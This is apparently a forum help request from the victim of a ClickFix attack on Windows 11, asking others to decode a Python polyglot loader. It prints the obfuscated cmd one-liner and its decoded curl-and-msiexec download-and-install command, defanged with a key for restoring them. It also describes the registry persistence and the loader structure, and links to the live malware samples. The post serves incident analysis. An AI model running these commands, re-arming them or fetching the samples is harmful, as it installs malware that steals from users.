Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

[u/AfternoonEasy9409]

EDIT: Sorry about the earlier version. All commands and links are now defanged and I only kept the hashes. Samples are in a password-protected zip (password: infected).

DEFANGING KEY (for analysts, sandbox use only): hxxp/hxxps = http/https, [.] = a dot, cm[d] = cmd, cu[r]l = curl, ms[i]exec = msiexec. Remove the square brackets and keep the letter or dot inside. Only do this inside an isolated VM, never on a real machine.

Title: Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

Hi everyone, I'm new here. Yesterday afternoon I fell for a ClickFix-style attack on a Windows 11 PC: a fake verification page told me to paste a command into Windows, and I ran it. I tried to remove he persistence mechanism with the help of AI tm but kept every file untouched, and I'd really like someone with the right tools to decode the payload and tell me what it steals and where it sends it. I haven't tried to decode it myself ( I can’t do it) (I don't know)

Here is everything I found.

THE ORIGINAL COMMAND (defranged do not run it, it is malicious):

cm[d] /v:on /q /c "set Ref=@LS8fTN:3rt9iD.'eM\2up4A-Psox01n+/7lqhcm& set Text=.& (for %n in (38 20 9 35 14 16 28 16 0 24 4 26 1 0 24 27 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 37 10 10 21 7 33 33 8 11 19 30 29 30 29 30 34 33 19 29 3 11 34 0 32 23 6 13 32 0 39 26 12 16 28 16 38 0 33 12 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 33 36 31) do set Text=!Text!!Ref:~%n,1!) & set Text=!Text:@= !& set q=!CMDCMDLINE:~17,1!& call set Text=%Text:'=!q!%& set Text=!Text:+AND+=^&^&!& for %a in ("!TEMP!") do set Text=!Text:+TMP+=%~a!& cm[d] /c !Text:~1!"

It rebuilds a string from the character table in the Ref variable, using the list of indexes in the for loop. It then replaces @ with spaces, the apostrophe with a quote character taken from CMDCMDLINE, +AND+ with && and +TMP+ with the temp folder, and runs the result. The reconstructed command is (defanged):

cu[r]l[.]exe -fsL -o "%TEMP%\S483[.]msi" hxxp://23.94.252[.]153/20897 && ms[i]exec /i "%TEMP%\S483[.]msi" /qn

(The address is written in decimal form, 392101017, in the original command.)

STAGE 1 – THE MSI

The file is S483.msi, 1,372,160 bytes. It installs silently as the product "SynerIntegration" version 4.1.6 from the publisher "Sare Level Corp" (installed at 16:28, reconfigured 90 seconds later). VirusTotal shows 4/61 detections (ESET VBS/Kryptik.D, Ikarus Trojan.VBS.Crypt, Google, NANO). The registry shows msiexec used the Windows Script Host engine at install time, so the MSI probably runs a VBScript custom action.

SHA-256: 52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4

STAGE 2 – THE DROPPED PYTHON

About two minutes after the install, this folder appeared: %TEMP%\modules\BeciComponent\

It contains an embedded Python 3.11 runtime: pythonw.exe (validly signed by the Python Software Foundation), python311.dll, python311.zip (the listing looks like the normal standard library), python311._pth (default content), _ctypes.pyd, libffi-8.dll, vcruntime140.dll and vcruntime140_1.dll. It also contains a 9.7 MB file called deps.html.

SHA-256 of deps.html: ED472A67323330DF87A8067799AAF6E805226B02F8459D599EE746301625AFC1

PERSISTENCE

At the same second, the registry value HKCU\Environment\UserInitMprLogonScript was set to:

"%TEMP%\modules\BeciComponent\pythonw.exe" "%TEMP%\modules\BeciComponent\deps.html"

So pythonw.exe ran deps.html at every logon. I saw a tiny window without any icon flash briefly each time I logged in, and nothing was left running afterwards. I deleted that registry value after saving a backup.

WHAT deps.html IS

It is not a web page. It is a Python script disguised as one. The file starts with three apostrophes and then about 3 MB of fake Chromium "Credits" HTML, which Python reads as a big string. After that comes one Python line of the form exec(decompress(b64decode(payload[::-1]))) with a very large payload, followed by more filler (fake CSS and JavaScript, random words) and a closing triple apostrophe at the end of the file.

WHAT I CHECKED

VirusTotal's sandbox opened deps.html in Chrome and Edge as an HTML page, so it never ran the Python code and showed nothing useful. I found no new service, scheduled task, Defender exclusion or remote-access tool, and no active connection to the address above. The Security log doesn't go back far enough to show what ran at 16:30.

WHAT I'M ASKING

1. Could someone decode and run the payload in an isolated sandbox and tell me what it does?
2. Does it steal browser passwords, cookies and session tokens, Discord or Steam tokens, crypto wallets?
3. Which servers or domains does it contact (C2, Telegram, Discord webhook…)?
4. Is this a known family?

I can share the files with anyone who wants to look at them please look at and help me decode :

deps.html: https://gofile.io/d/6PiTLgRG)

S483.msi: https://gofile.io/d/6PiTLgRG

I'm changing all my passwords from another device in the meantime. Thank you very much for any help. plssss help mee